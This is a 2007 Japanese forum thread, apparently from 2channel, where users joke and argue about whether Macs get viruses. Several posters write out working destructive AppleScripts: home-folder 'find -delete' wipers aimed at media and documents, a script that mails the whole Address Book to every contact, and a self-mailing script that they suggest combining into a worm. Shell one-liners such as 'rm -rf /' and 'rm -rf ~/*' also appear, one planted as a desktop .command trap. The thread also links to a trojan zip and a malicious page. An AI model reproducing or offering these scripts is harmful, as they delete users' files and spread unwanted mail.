また誤解を招く新ＣＭきたね

今のところ悪質なウィルス一つも存在しないMacなんで、
ウィルスにかからないといわれても否定できないっていうのが
現実だな。

ウィルスにも見向きもされないマックというのが真実だろ。
誰も異存はないはずだ！！

IDが梅夫と一緒

UNIXのウィルス＝Macのウィルスじゃないの？

Macのウィルス=>>373なのでは？

ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
もう最新のMacじゃ動かないんだっけな。

いまならウィルスにかからないつっても問題ないな。

MacのCM、おもしろいね
「あ、ウイルス」といったらパソコンくんがMacの後ろに隠れたよｗ
やっぱMacは最高の高性能マシンだね

>>377
> ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
> もう最新のMacじゃ動かないんだっけな。

PPC時代のウイルスを動かすためにRosettaがある。

ロゼッタちゃんは小悪魔だなあ。

猫のインフルエンザは人間にかからない。

しかしCMではWindowsのウイルスはMacにはかからないと言っているわけではない

正直なところウィルス対策したことないまま10年経った。
危機感なさ過ぎですか？

>>378
未だに、ｳｨﾙｽ確認用にMacが活躍してたりするのか？

On Mac OS X Viruses
ttp://www.osxbook.com/blog/2006/11/05/on-mac-os-x-viruses/

Mac OS X Internals の著者Amit Singh氏(現googleのMacマネージャ)のブログ。
過去のUNIX用に作られたウイルス等に言及しつつ、語っておられます。
実際にCで書かれたウイルスも公開してます。

要約すると、ウイルスを作ることはUNIXだろうが技術的には簡単。
しかし、それを広めることは別の問題である。
UNIXはWindowsよりも管理者権限などで広めにくいとしつつも、
OSXではadminが設定されたユーザーの権限が大きいので、
危うさを秘めている。注意しましょうね。

実証コードは何度も出回ったが、実害はゼロなのが現実。

spotlightをもし外部のアクセスで操作されれば、
パソコンの中身は丸見えだと思うけど、そんな危険性はないの？

>>387
先にVistaで実害が出そうだw

>>387
操作されればね。

どうやってそれやるプログラムを不特定多数のマシンに
実装させるかってのが「ウィルス」が実害をもつかどうかの関門でしょ。
アプリを自由に仕込めるなら、どんな情報流出でも可能だよ。

>>389
セキュリティホールを利用すれば簡単だよ。

セキュリティホールって、そのへんに落ちてるもんじゃないよｗ



冷蔵庫に象を入れる方法知ってるかい？

>>391
スモールライト？

>>382
猫のインフルエンザしかないので人間はウィルスにかからない。

Mac OS Xに新たな脆弱性、Safariで悪用も
http://www.itmedia.co.jp/enterprise/articles/0701/12/news022.html
Mac OS Xのバグ情報を公開しているMonth of Apple Bugs（MOAB）プロジェクトで報告され、
コンセプト実証コードも公開されている。

Mac OS Xに新たな脆弱性，パッチ適用済み10.4.8にも影響
http://itpro.nikkeibp.co.jp/article/USNEWS/20070112/258509/

たしかにゲイシ様の言うとおりですね　（　´,_ゝ`）ﾌﾟｯ

>このほかにもGates氏は、VistaはMacよりセキュリティでもリードしていると主張している。
>
>「ここ最近、セキュリティ関係者は毎日Macの脆弱性を見つけている。毎日、マシンが完全に
>乗っ取られてしまうような深刻な脆弱性を発見しているのだ。Windowsマシンの場合、そのような
>脆弱性は月に一度見つけらるかどうかだろう」（Gates氏）

http://review.japan.zdnet.com/news/c20342337.html

どうぞお入り下さい。

セキュリティホールを見つける
Ｍac用ウィルスを作る。
穴にウィルスを入れる。

わあ、すごい簡単だねパパ

相手を見つける
パンツを脱ぐ。
穴に入れる。

わあ、すごい簡単だねパパ

５万也

わあ、すごい出費だねパパ

>>378
まさにそういう使い方をうちではしてる。
ネットは基本的にMac側、そちらで出来ない事はWin
Win側で落としたファイルは、基本的にはMac側で先に開く。

つうか脆弱性みつかっても誰も相手にしないMac、
住人が少な過ぎて犯罪が起こらない孤島みたいな存在。
そんな孤島の住み心地が好きな私たち、って感じだよなMacは。

孤島というより、孤高なんじゃね？
かっこいいよねMac

孤高と言うより恥垢だろ(w)

小学生並のギャグセンス乙

なんかOFFICEのインストーラーのふりをしてダブルクリックすると
ユーザーディレクトリ全消去。ってのならあるんだが、
そういう古典的なのは現在ウィルスとは言わないしなぁ・・・

それは単なるトラップでしょ
自己増殖能力持たないのはウィルスじゃないかと。

普通にウイルスとカテゴライズされていますよ。

それじゃあ出来が悪くてファイルが消えたり壊れたりする
アプリは全部ウイルスだな。

>>407
普通にウィルスとして扱われていますよ。

じゃあいつだかのバージョンのiTunesインストーラーでディレクトリ名にスペースがあると
ファイルがごっそり消えるやつ、
あれウイルスということになるけど、シマンテックに登録されてるのを示してくれ。

>>404はシマンテックウィルスデータベースに存在する
数少ないOSX用ウィルス（１０種）の一つ。実態はただのApplescript。

基本的にこの手の自分でダブルクリックして感染系のばっかりだなOSXのは。
感染報告数１、推定感染数１-50とか、検証ウィルスとかそんなんばっか。

>実態はただのApplescript。
なさけなさ杉
どうせ作者みずから報告して登録してもらったんだろ？
なんかなあ。それって胸を張ってウイルスと言えないだろ。

MACでもキンタマやシャレタマに感染することがあるんでしょうか？

それ以前に使ってるヤツがキンタマやシャレタマに完全に犯されている罠。

>>412
ない。

OSXではないが、Mac上でWindowsを動かしてりゃありえるけどな。

こんなメールが来てました。サブジェクトが面白い。

差出人 Allume Systems - A Smith Micro Company <[email protected]>
返信先 Allume Systems - A Smith Micro Company <[email protected]
宛先 Valued Customer <○△□@gmail.com>
日付 13 Feb 2007 12:18:59 -0600

件名 Macs don't get viruses. THINK AGAIN! VirusBarrier only $59.9

送信元 ntls.digitalriver.com

>>413-415
ありがとうございます。安心しました。

417 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:00:04 ID: nPM2XMyQ0
1日遅れのバレンタイン
ttp://up3.viploader.net/mini/src/viploader110564.zip

419 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:06:45 ID: fOXCS/PL0
>>417
img_01_0.jpg.exe　←これなに？Jpgじゃないみたいだけど

420 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:09:44 ID: CMiey2wD0
609 名前：/名無しさん[1-30].jpg[sage] 投稿日：2007/02/14(水) 19:11:39 ID:/fA+R1D50
>>562
viploader110564.zip落としてみました。
img_01_0.jpg.exe
ウイルストータルで
CAT-QuickHeal 9.00 02.13.2007 (Suspicious) - DNAScan
Ikarus T3.1.0.31 02.14.2007 Email-Worm.Win32.Bagle.BR
Sunbelt 2.2.907.0 02.09.2007 VIPRE.Suspicious
検出、PC有害。
カスペ他に検体提出してきまつ、ﾉｼﾉｼ。

421 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:10:09 ID: nPM2XMyQ0
ゴメン誤爆
夏帆とは関係のないファイル
おまけに実行ファイルだし・・・

422 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:12:49 ID: ob5+Bo9P0
何処の誤爆？

423 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:13:35 ID: O7eKOAuU0
>>417を解凍しちゃったんだぜ？

424 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:15:09 ID: nPM2XMyQ0
>>422
セキュ板

425 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:28:24 ID: O7eKOAuU0
>>424
なんか登録してた顔文字が消えたんだけど・・・・

426 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:30:22 ID: fOXCS/PL0
俺はMacだからどうでもいいけど

427 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:32:27 ID: O7eKOAuU0
>>422
そのスレに誘導してくれ

428 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:35:15 ID: nPM2XMyQ0
>>425
すまねー　
大手ベンダーの定義が反応しないとかで今騒いでいて
踏んだ人にはリカバリを薦めているのでたぶん暴露ウイルスの類だと思う

ホントにごめんなさい

429 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:36:33 ID: znfSzDMB0
切腹して詫びろ

430 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:37:12 ID: O7eKOAuU0
>>428
いやああああああああああああああああああああああああああ

431 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:47:26 ID: O7eKOAuU0
>>428
いいから誘導してくれ
セキュ板のスレに

432 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:51:43 ID: GAugjbMc0
なんか画像でも置いてけ

433 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:53:24 ID: O7eKOAuU0
おれの顔文字返せーーーーｳﾜｰﾝ

434 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 16:02:55 ID: fOXCS/PL0
かわいそうにw

Winな人>>418のリンク踏むなよ

笑い事じゃねーよww

なんだっけな、感染するとOutlookでウィルスメールをばらまく
Windows用ウィルスが蔓延した時に、ウィルス付きメールをMacで
開くと四角い添付画像ファイルに見える（Macで実害なし）んで
「うちにも来たよウィルス君」「あーこれかー」「うちにもキター！」
ってなんかほのぼのした祭りになってたっけな。

ウイルス被害っていうけど、一般ユーザが被害を被るのは
こういう自爆的なものが大半だよなぁ。

>>391
冷蔵庫を開けて、その中に象を入れて、閉める。

これ一休、ちと参れ。

MacはPCのウイルスに感染しません。※1



　　　　　　　　　　※1 ただしMacのウイルスには感染します。(ここは小さく)

Macのウィルスはあるよ。
「Macはウィルスに感染しません！」って、デマウィルスだよね。

ウイルスにバイラスは感染しません。

ウイルスはあるかもしれないけど、
10年以上ウイルス対策せずにMacを使ってて
一度も感染したことはありません。

tell application "Finder" to set homeDir to POSIX path of (path to home folder)
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jepg -delete"
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jpg -delete"

わーい。ウイルスできた！

>>432
>わーい。ウイルスできた！
きさまーー！！！！！
ゆるさぬーーー！！！
お宝画像が全部消えちまった！！！！！！！！

わーい。被害者第一号だ！

property extList : {jpg, jpeg, mov, rm, png, gif, tif, tiff, aiv, wav, mpg, wmv, wma}

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find "& quoted form of homeDir & quoted form of "-name *."
set cmd2 to quoted form of " -delete"

repeat ext in extList
do shell script cmd1 & ext & cmd2
end repeat

もっと凶悪にしてみたよ！動作確認は怖くてしてないよ！

スクリプトエディタにコピペしてみたけど、
構文エラー
変数jpgが定義されていません。
...て出たよ。

いくら検証してないからってグチャグチャすぎるだろ。

property extList : {"jpg", "jpeg", "mov", "rm", "png", "gif", "tif", "tiff", "aiv", "wav", "mpg", "wmv", "wma"} as list

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"

repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat

ホームフォルダ内に存在する動画、画像の多くを完全に消去するスクリプトなので、実行はお薦めできません。

>>436
共謀罪

共謀罪とやらを調べてみましたが、
そもそも「組織的な犯罪集団」を満たしていませんから、
適用範囲外ですね。

また、実行すれば何が起こるかを明記してある以上、
何らかの法に背く行為ではないと思います。

>>436
今度はうまく実行できたよ。

意欲的な犠牲者が一人(｀･ω･´)

注意Mac用のウィルスです.app　　　　　　　　　　　　　　　　　　　　　　　ﾎﾝﾄﾊﾁｶﾞｳﾖ.exe

ばかにされてるーーー！！（＞＜）でもいいこと聞いた。
アドレスブックに登録してるメアドにメアドの一覧を送ります！！！
これで大丈夫？逮捕じゃないのね？
set l to {}
tell application "Address Book"
set a to people
repeat with p in a
try
set c to value of email 1 of p as string
end try
set end of l to c
end repeat
end tell
set cont to separateEmail(l)
repeat with e in l
tell application "Mail"
set m to make new outgoing message
make new to recipient at end of to recipients of m with properties {address:e}
set content of m to my cont
set subject of m to "My Freands"
send m
end tell
end repeat
on separateEmail(l)
set r to ""
repeat with i in l
set r to r & (ASCII character (10)) & i
end repeat
return r
end separateEmail
動作確認は怖くてしてないよ！

su
rm -rf /

自分自身を添付してメールを送信するアップルスクリプト。
アプリケーションとして保存しよう！
まぜるな危険！！！

set p to path to me

tell application "Mail"
set m to make new outgoing message

make new to recipient at end of to recipients of m with properties {address:"hoge@huge"}

-- set visible of m to true
set subject of m to "変なの見つけた"
set content of m to "とりあえず使ってみて(^^)" & return

tell content of m
make new attachment at after the last paragraph with properties {file name:p}
end tell

send m
end tell

rm -rf ~/*

↑マジ感動！

失格です
http://news.bbc.co.uk/2/hi/technology/6418965.stm

時々SystemDoctorのウインドウが
デスクトップに開くので、俺のMac
やられてるみたいだw

「Macで楽勝、もう春です。」

>>442 と　>444　を組み合わせるとアドレス帳に登録されたアドレスに
自分自身をメールで送信するアップルスクリプトになるけど、これってウイルスになるの？

アンチウイルスソフトが入ってるとちゃんと食い止められるの？
すごく気になるけど、アンチウイルスソフト持ってないから試せない。

脳みそ媒介に増殖すればウイルスだな。

>>436
死ぬ間際に実行して、恥ずかしいファイルを全削除
素晴らしい！

ここのスレ、ノートンが反応するんだが。

反応するね。まあ他のスレでもよくあることだよ。

坂井輝久 の検索結果
http://www.google.com/search?hl=ja&q=%E5%9D%82%E4%BA%95%E8%BC%9D%E4%B9%85&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=

くそ！
ついに、ウイルスにやられたぜ。
Macだからって、油断は禁物だ・・・・・
　死ぬ、死ぬ、先に逝きま〜〜〜す

インフルエンザか。死ぬとはおおげさだな。お大事に。

そのｳｲﾙｽはMacからうつらんだろw

マクド。

このスレ、削除できねぇwwwwwwwww

馬蚊（マカ）はMacなんか捨ててLinux使えばいいのに
7.04
ttp://www.ubuntulinux.jp/

う

ま

れ

た

そのｳｲﾙｽ凶暴につき

人間もMacのようになれたらいいのにな。
風邪ひいてかなりダルイよ。

Macではしかが流行

すでにかなりの熱が出ています

Macはウイルスにかからない

そんな迷信もありました。

-----Original Message-----
From: [email protected]
題名: ウィルス警報
重要度: 低
DEAR RECEIVER,

あなたはたった今、新しいルーマニア製ウィルスを受け取りました。 ルーマニアではそれほどテクノロジーが発達していないので、これは「手作業」ウィルスです。 どうかハードディスクの中のファイルを全部消去して、このメールを知り合い全員に送ってください。

>>470
テクノロジーは発達していないが、翻訳能力は最高レベルに達しているな。

マックがいいのは、まずウイルスやスパイウエアーでの被害が最小限で、悪意を感じるソフトが少ないし、
自分の思いどうりに管理維持できるって事。ウインドウズの時は細かくカスタマイズできたり
ソフトが多い事は気に入ってたけど、多い分害悪も多くて、レジストリを改変してしまうソフトを
ついでの強制インストールしたりするのが多すぎる。レジストリー関連が複雑すぎて、ウイルスや熱が原因の再起動でドス画面ばかり出て
ストレスが溜まっていた。その頃からマックはデザインいいソフトが多いんで興味があったけど、
OS9以前のデザインはどうしても好きになれなかったし、スペック見てもDVDすらまともに再生できないので
買わずに様子伺ってた。転機が訪れたのはppcminiが発売された時でこれだ！と思って飛びついた。
実際マックにして正解だったし、正直今の外付け4テラのシステムをウインドウズで管理維持できるかと言えば
自信がない。仮に不具合があっても元に戻せるのが決定的な違いで、ウインドウズはメモリやられてドス画面で
ループしだすとどうにもならない。自分は45nmのCPUのMacProまで購入控えるけど、今のminiでも全く問題ないです。

ありえねーw
どうみてもウイルス作る側の極道ヤクザがウイルス対策支援？ww
ま、ただの護身グッズの類いなんだろうけどw
http://www.geocities.jp/freeggggroup/nf/

>>472は、布教活動のマニュアルにありそうな文章だな。

でもやっぱ、CMどおりMacの方がWindowsよりもずっと安全だと思う。
日本の方がヨハネスブルグよりも安全だ、というような意味で。

世の中CM通り行けば苦労しないんだけどね。

CM通りに行けば今頃Macはシェア30％くらい行ってるだろう

Mac OS Xを狙うエクスプロイトコード公開、パッチからわずか1日足らずで
http://www.itmedia.co.jp/enterprise/articles/0705/30/news101.html

さすがセキュリティに強いMacだな。

リモートからのコード実行につながる恐れか。

property extList : {"app", "dmg", "rtf", "cwk", "doc", "txt", "iso", "webarchive", "html"} as list

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"

repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat

書類とかインストーラ用

Macそのものが社会的にみてウイルス

>>481
それは言えてる

感染力低すぎ。

わかってないな。だがそこが良い。

一度Macというウイルスにかかると徹底的に搾取されるらしいな。

わかってないな。だがそれで良い。

流し排水口のゴミ取りの金属製のかごのヌメリがなかなか取れません。
どうしたら良いでしょうか

>>487
パンチングメタルのを買え

＜青森脱北者＞静かな漁港騒然と　小型の木造船に食糧積み

「自分たちは北朝鮮から逃げてきた」――。

感染しても絶対数が少ないから伝搬しないんだ世なぁ・・・・

「伝播」（でんぱ）を「でんぱん」と読んでないか？
いや、わざとならいいんだが。ｽﾏｿ

MACはウイルスにかからない
とマックユーザーは言う。
しかしマックユーザーは妄想癖にかかっている。

現実を見ようよ。つらいけど、逃避しないでさ。

ID:ToWy7JtE0　の発言まとめ

朝鮮
黙ってろよ糞ガキ
半万年ほどロムっとけよ坊や（　´,_ゝ`）ﾌﾟｯ
妄想でしか語れないなら
ソースを示せ
お前は頭がおかしいから
ドザチョンが上げ荒らししてる
さっさと出て来いや
お前に構ってる暇ないんじゃボケが
基地外のふりして誤魔化す恥ずかしいドザチョンw
雑魚だからスルーな
ドザチョンって生きてて恥ずかしくないの？
女の子も見てみたい
おい小僧
誰が爺だ？

ここにも来ますよ
　　　　↓

( ﾟдﾟ)

AAやコピペの連投は困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。

>>495は↓の改変コピペだね。

16 ：It's＠名無しさん：2007/06/02(土) 00:40:45
AAやコピペの連投はアンチソニーが困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。

Win板を荒らし、ソニー板を荒らす社会の屑
それがマックユーザー

BootCampで開いたファイルにWinのウイルス入ってたら感染しちゃう?

>それにしても、利用者:124.26.203.36のノート:無線LANへの参入と同じくして始まった一連の攻撃/侵入絡みの
>対策と、関連する記録の整理や提出で、この2週間の間の余暇の大半を浪費してしまいました。対立する価値観は
>手段を選ばず攻撃して潰す、を実際に実行する連中が、Wikipediaにのさばっているということはよく理解できま
>した。まったく狂信的な連中というのはこれだから恐ろしいものです。

>>497
Macそのものがウイルスだから問題ない

MACはウイルスにかかれない

OSXこいつがウイルスの本体。
intel移行で一気に広まった。
こいつは、その他のウイルスに感染しない。
しかしWindowsと言う、ウイルスの媒体をインストールした場合、その中でウイルスが繁殖する恐れが有る。
幸か不幸かデフォルトではWindowsからMacの領域は見えない。
しかし！読み書き出来るようにするツールが有ったりするのだ！
そうなると、Windowsとは全く無縁とは言えなくなる
MacにインストールされたWindowsはいつ発病してもおかしくないエイズウイルスの様な物と言える。
出来るならばWindowsはインストールしない方が良いだろう。

>>501

その文章じゃ、Windowsがウィルスみたいだぞ。

つれたｗ

めでたしめでたし

ほのぼのとしてるな

攻撃者の目標になるMac、Microsoft的状況に？
http://www.itmedia.co.jp/enterprise/articles/0706/05/news006.html

> Windowsユーザーが享受している二次的な防護（広範な種類
> のサードパーティー製セキュリティソフトウェアなど）がMacに欠如
> しているために、攻撃対象としての魅力がさらに高まっている。

ようやくマカーも相手にしてもらえるレベルになったようですね。

> Appleが最高セキュリティ責任者を置いていないという事実を
またこれか
前に、もっと露骨に「俺を雇え」みたいな発言してるやつ居たなあ

ｾｷｭﾘﾃｨを強化とか言ってたけどｶﾞﾜかぶって重くした上に
何も変わってないOSよりはﾏｼだと思うよ

それなんて、MacOSX？

VistaっていうMac OS XのパクリOSのことだよ

オマエにウイルスなんて十年早い
アンチウイルスソフトの定義ファイル
でももらってニタニタしてろってこった

抗菌仕様

ああ、Windowsって風邪の時のマスクみたいなもんだろ？

実はマスクをすることにより拡散して余計広げてしまうみたいな

銀座のアップルストアで嫁にibook買ってあげた時、
「.macに昔はマカフィとかついてたよね？今はついてないんだ。」って聞いたら
「数年前にMacはウィルスに感染しないことが証明されましたので、今後は必要ないんです。」
って言われたよ。
さすがにこの人たちどうかしてると思った。

●セキュリティ企業は信用できるのか
http://slashdot.jp/security/06/07/24/1839208.shtml
>"Open Tech Pressの マルウェア対策業界は信用できるかという記事だが、
>なかなか 衝撃的だ。警察・消防・救急等と違ってマルウェア対策業界は
>全く信用できないと断罪する記事である。その理由が幾つか書かれている
>●　US-Certが 各ディストリビューションで出されたセキュリティパッチの
　　数の合算で Unx/Linuxの欠陥総数と公表する姿勢
>●　Appleの宣伝キャンペーンの直前に脆弱性の虚偽情報を流した企業の例
>●　昨年91件のLinuxウィルスを報告したロシア企業の公表データを調べると
　　21件だけに説明があるがほとんどすべては標準*nixパーミッションに
　　従ってファイルを変更するプログラムだった例
>Windowsに代わる安全な製品はセキュリティ企業にとって収益上の脅威となる

●マルウェア対策業界は信用できるか
http://opentechpress.jp/security/06/07/24/0147205.shtml
>これがセキュリティ業界の体質である。この業界ではMicrosoftに媚びへつらわなければ
生きていけない。それ故に、不正、虚偽、欺瞞、不正確な主張、偽ウィルス、
偽りの警告を次々に流している。

>今回の「発表」ではApple OS Xも今ではWindowsと同程度にマルウェアの攻撃に
さらされており同程度に脆弱であると警鐘を鳴らしているのだが、発表の時期に作意が
感じられる。
というのは、Windowsに侵入して悩ましている種々のマルウェアに対してAppleには
強い耐性があるという事実を強調したAppleの新しい宣伝キャンペーンの直前だったからだ。
これまで2002年10月、2003年10月、2004年10月、2005年11月と、
秋に発表されるのが通例だったのだ。

今年の夏に、I MACの新型を出すって海外じゃ噂になってるみたいだけど、知ってる香具師いる？

早く出せよな。いまのはかなりダサイからな。全然いいと思わん。大福最高。

ｌｋｌ

オマエの手は足元にも及ばない
http://videocast.yahoo.co.jp/video/detail/?vid=288230376151781013

$ echo "rm -rf ~/*" > ~/Desktop/good.command

ウイルスにもかからないが
ソフトも動かない
何もできない

オマエの手は足元にも及ばない
Your hand is no match.
你的手脚下也不涉及
너의 손은 발밑에도 미치지 않는다

http://videocast.yahoo.co.jp/video/detail/?vid=288230376151781013

OSXのウィルスあったと思うが

＞＞521
？

そもそもMacの大規模なウイルス被害なんて、9805以来起きてるの？
知ってるﾋﾄ居る？

Macに限らず、Windowsでも大規模なウイルス被害なんて
めったにおきていないと思いますが違いますか？

すごい！マカみたいなドザがいる！

>>527
たしかにおきてないね。そのとおりだと思う。

総務省：国民のための情報セキュリティサイト

・代表的なウィルスの動作と被害内容
http://www.soumu.go.jp/joho_tsusin/security/kiso/k04_higai.htm


Windowsユーザーはとりあえずこれぐらいは押さえておこう！
ニムダの時は常時接続回線が発症したWindowsからの信号で
飽和しちゃって大変な迷惑に。
あれからプロバイダ各社が”自己防衛のために”メールに対する
無料ウィルスチェックサービスを始めたのには笑った。

ワンランク上のおっさん教えてよ
未知のウイルスとやらが出てくるとどうなるの？
ソフトが勝手になんとかしてくれるの？
俺が馬鹿だとやられちゃう？

俺は他に類を見ないバカだがやられていない。俺より賢いオマエは大丈夫だぜ！

ウィルス作成者にすら相手にされてないだけなんだけどねｗ

>>533
ありがたやありがたや

ウィルスがいないMacはウィルスにかからないね。

どっかのニュースサイトでMac用のコンセプトウイルスを公開したはいいけど
感染力はないしMacOS Xは難攻不落で泣きのコメントが入ってた、
というネタがあったな。

”Windowsでこんなにウィルスが脅威なのにMacがそんなにウィルスに強いはずがない”
って思い込みでドザは常に殴り込んでくるわけだが、単純な話でね。

Windows(XP)は特に設定しないと、ユーザーは管理者としてログインするので
立ち上げると同時にいわば家の鍵が全部オープンになるのよ。システム的に。
重要なシステムがあるエリアも含めて、全部オープン。

これは実はマイクロソフトは半ば意図的にやってることでね。
もし細やかなアクセス制限をしたいのならば企業向けの
サーバーソリューションを買いなさい。ってことなわけ。

Mac(OSX)はUNIXなので、もし侵入できてもファイルにいちいち名前が
書いてある。どんな名前の誰が動かせるのか、誰がこのディレクトリに
アクセス可能なのか全部に。さらに重要なシステムエリアは管理者権限でも
パスワード手入力を求めるというオマケ付き。

Windowsならウィルスは動作する時に誰にも咎められない。起動してる以上
まず管理者なわけだし、管理者であることを確かめるシステムもない。
Adminisitratorというユーザーネームでパスワードなし。これがデフォルト。
とってもかんたんだ。

OSXの場合、感染したら。というか感染するために、まずなんとかして
ユーザーネームを知らなければならない。（あたりまえなのだが）MacOSの場合
デフォルトの共通ユーザーネームというのはない。たいていユーザーの名前に
なっているのだが、ウィルスにそれを知る方法はおいそれとはない。
もしユーザーネームを知ったとしても、心臓部のシステムに感染するためには
パスワードをなんとかして知って、表示される手入力画面に打ち込まなければ
ならない。　オーケー、ここまでを越えてなんとか感染したとしよう。一台に。
・・・そう、次はこれとおんなじ手順を次の感染先で行わなければならないわけだ。

ウィルス作者にとってどんだけ嫌なハードルがあるか少し理解できたかな？
こんなんやるぐらいなら、ザルのWindowsで暴れた方がどんなに楽かと。
ハッカーもそう思っている。　そゆわけ。

とても分かりやすかった。

かかった事あるけどすぐに治った。

>>540
> ID: EXRW/M8W0

レス乞食チワワ　屁垂れすぎ

>>538
共通のユーザー名ならあるよ。
それにウイルスにとってユーザー名を知ることは必須じゃないし。

ようするにお前は無知だってこと

ウィルスにかからないのはありがたいんだけど
ソフトウェアアップデートでSuperDriveが死んだのには参った。。
もう少しテストしてから配布しろよ

Macにとってはマカこそ悪性のウィルス

ttp://aaa-mondai.tripod.com/main.html


こういうのを踏んでもMacなら平気なの？

>>545
これけっこうキツイね。ちょっと固まったけど、何とか窓を消したわ。
cyber.wmfのファイル16個勝手にダウンロードしたけど、何も起きない。

>>545
逆に聞くけど、Winで踏むとどうなるの？
Macだとりあえずブラウザ強制終了で事なきを得たけど。

>>545
すげー。
FireFoxとターミナルとリアルプレーヤーとFTPソフトが起ち上がって何かしてたっ！
サファリのダイアログを閉じる事が出来ない。
自分のルーターに外から繋ごうとしてる。

なにやってんの？これw

ふうむ？９時の時点からもう

Sorry, but the page or the file that you're looking for is not here.
Try the search box below to find more information about your topic.

と出て機能してないようなのであるが？

元は
80 ：名無しさん？：2007/08/04(土) 23:30:12 ID:???
>>78
※このアドレスは危険URLのひとつです。
注意！アラートオープンを発見！ (1)
注意！ループタグを発見！ (4)
注意！逃げウィンドウを発見！ (3)
危険！mailtoストームを発見！ (410)
危険！FDDアタックを発見！(7)
危険！無限ループを発見！ (2)
危険！ニュースストームを発見！ (3)
危険！Telnetストームを発見！ (3)
・・・だそうです。

とおなじものだったっぽいが。

219 名前: 名称未設定 Mail: 投稿日: 2007/08/06(月) 23:35:48 ID: P7OSKgem0
ttp://up.uppple.com/src/up3411.jpg
Macまた炎上ですかw

>>538
terminalで
$ cat /etc/passwd
をやってみれ。いっぱいアカウントがでてくるよ。

お手本としてるUNIXは脆弱性をつぶす歴史だったのよん。

最近の報告は無いけど、OSXにも採用されてるsshd,sudoあたりは時々セキュリティホールの報告があるから気をつけようね。

「Internet Security Threat Report」と題されたSymantecの最新の報告書によると、
2006年後半にWindowsから発見されたセキュリティホールの数は、同年前半の22個から増加し、39個に上った。
また、セキュリティホールの発見からパッチが開発されるまでの平均期間は2006年後半は21日だった。

またRed Hat Linuxについては、2006年前半にパッチが適用された脆弱性の数が42個だったのに対し、
同年後半は208個と大幅に増加した。また同年後半の平均パッチ開発期間は58日だった。

さらにAppleのMac OS Xを見ると、2006年後半に発見された脆弱性の数は、
同年前半に発見された数の倍以上の43個で、平均パッチ開発期間は66日だった。



脆弱性の数が最も多く、対応がもっとも遅いOSはAppleのMac OS Xなのです

あっ失礼、脆弱性の数は「Winより多く」でした。
ちなみにMacの脆弱性の深刻度そのものはあまり高くないようだけど
Macなら安全なはずと盲目的に信じ込んでいると危険だよ

うるせー粘着コピペ野郎キモイんだよ

態度悪いな。罰として上げとくぞ

>>555
> ID: +kUgnLgu0

単発ID屁垂れ阿呆ドザチョン

MacOS Xだと脆弱性が発見されても、擦り傷程度でバイ菌も入らないけど、
Windowsだとバックリと割れて骨が見えてる状態で
下水道に放置されるのと同じだからなあ。

マックのシェアが上がれば、ウィルスも心配だが、今くらいのシェアだったら、当分安泰。
頼むから、シェア上がらないでくれ。iPod,iPhoneだけシェア上がればいいんだよ。。。

あり得ない話だけど、仮にシェアがあがったら喜ぶくせにw

自分の性癖も顧客情報もシェアする時代。
まさに時代に合ったOSそれがWindows

【Ｗｉｎｎｙ】 “首を鎖につながれた淫らなポーズの女性”などの個人撮影画像＆顧客情報流出、ＡＩＵ保険“面目丸つぶれ”不祥事★２
http://news22.2ch.net/test/read.cgi/newsplus/1186711130/

市販のソフトはいらないね
Clam AVソフトで十分だね。
どうせそれ以上の使い方なんてしないしw

Macは隠蔽と捏造の総合商社。
ベンチは偽装だし高度な脆弱性を有するw
生きてて恥ずかしくないの

×ウイルスにかからない
○誰もウイルスを作ろうとしない

おっしゃる通りでございますぅ

正解は
○ウイルスを作りたくても難攻不落で作れない。

>>562
高度な脆弱性って具体的に何？
それでどういう不具合があるの？
Windowsは立て直しできない時があるけど。
Macだとそれはない。

>>565
難攻不落という訳でもないと思う。
一度実行さえしてしまえば、あとはワームを置いて常駐程度だったらそれほど手間もかからん。
気付かれないでインストーラーを実行させるのは、ちと手間かもしんないけど。
結局、オレの場合は作っても何がどうって訳じゃないから作らん、面倒臭いし、そんなもんより普通にGUIのアプリ作ってた方が面白い。

Mac（失笑）

565 ：名称未設定：2007/08/20(月) 13:31:53 ID:PUYMg+rS0
正解は
○ウイルスを作りたくても難攻不落で作れない。

655 名前: [名無し]さん(bin+cue).rar Mail: sage 投稿日: 2007/08/20(月) 00:35:50 ID: lrCyiBk90
http://up.uppple.com/src/up3411.jpg

ww

そりゃローカルに落とさせて実行できればどんなOSだって楽勝だわな。
Macではそれが難しいしWindowsではActiveなんたらが穴だらけすぎて
Macと比較すると簡単に出来てしまう。

>>569
それは？

>>570
何時の話してるんだ？ｗ

>>572
ActiveX絡みの脆弱性の最新は2007年8月15日のコレかな？
まだ一週間も経ってないねぇ・・・

